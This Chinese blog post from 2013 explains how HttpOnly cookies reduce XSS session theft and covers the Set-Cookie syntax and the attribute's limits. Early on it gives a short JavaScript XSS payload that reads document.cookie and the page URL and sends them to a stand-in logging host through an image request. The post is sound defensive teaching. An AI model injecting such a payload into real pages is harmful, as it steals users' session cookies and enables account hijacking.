IT技术博客大学习 共学习 共进步

使用Http-only Cookie来防止XSS攻击

标点符 2013-06-08 23:36:19 浏览 3,902 次

   www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态。只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站。

   对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单。Cookie保存在浏览器的document对象中,只要使用JS读取Cookie就能拥有其他人的身份。一个很简单的xss攻击语句如下:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src="http://www.xss-log-server.com/c.php?c="+cookie+"&u="+url;

   有些网站考虑到这个问题,所以采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。但是这种方法存在很大的弊端,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定),但是这样有可能带来比较差的用户体验,比如家里的ADSL就是每次连接换一个IP地址。

   那如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持 Cookie 属性 Http-Only,该属性有助于缓解跨站点脚本威胁, 如果兼容浏览器接收到 Http-Only Cookie,则客户端脚本不能对它进行访问。Http-Only的参数跟domain等其他参数一样,一旦Http-Only被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我可以采用Http-Only,对于一些需要在网站中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了网站的基本功能。

   下面的例子就是Http-Only的设置方法(注意,HttpOnly属性对大小写不敏感):

   Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]

   Asp.Net设置HttpCookie.HttpOnly 属性的方法:http://msdn.microsoft.com/zh-cn/library/system.web.httpcookie.httponly.aspx

   目前主流的浏览器基本上已经都支持了Http-Only属性,具体支持的浏览器请查看:https://www.owasp.org/index.php/HttpOnly

   另外,HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交。为了降低跨站点脚本攻击带来的损害,通常需要将HTTP-only Cookie和其他技术组合使用。如果单独使用的话,它无法全面抵御跨站点脚本攻击。比如如果你的站点是使用Asp.Net开发的话,建议使用Microsoft Web Protection Library

建议继续学习

  1. cookie窃取和session劫持 (阅读 14,425)
  2. curl 命令使用cookie (阅读 9,844)
  3. 前端开发中Cookie那些事儿 (阅读 7,207)
  4. 如何设置一个永远无法删除的Cookie (阅读 6,263)
  5. 几种极其隐蔽的XSS注入的防护 (阅读 5,541)
  6. 在浏览器中加密Cookie (阅读 5,384)
  7. 网站统计:第一方Cookie和第三方Cookie (阅读 4,963)
  8. Cookie安全漫谈 (阅读 4,542)
  9. 一段Javascript的代码 (阅读 4,181)
  10. 新浪微博的XSS攻击 (阅读 4,002)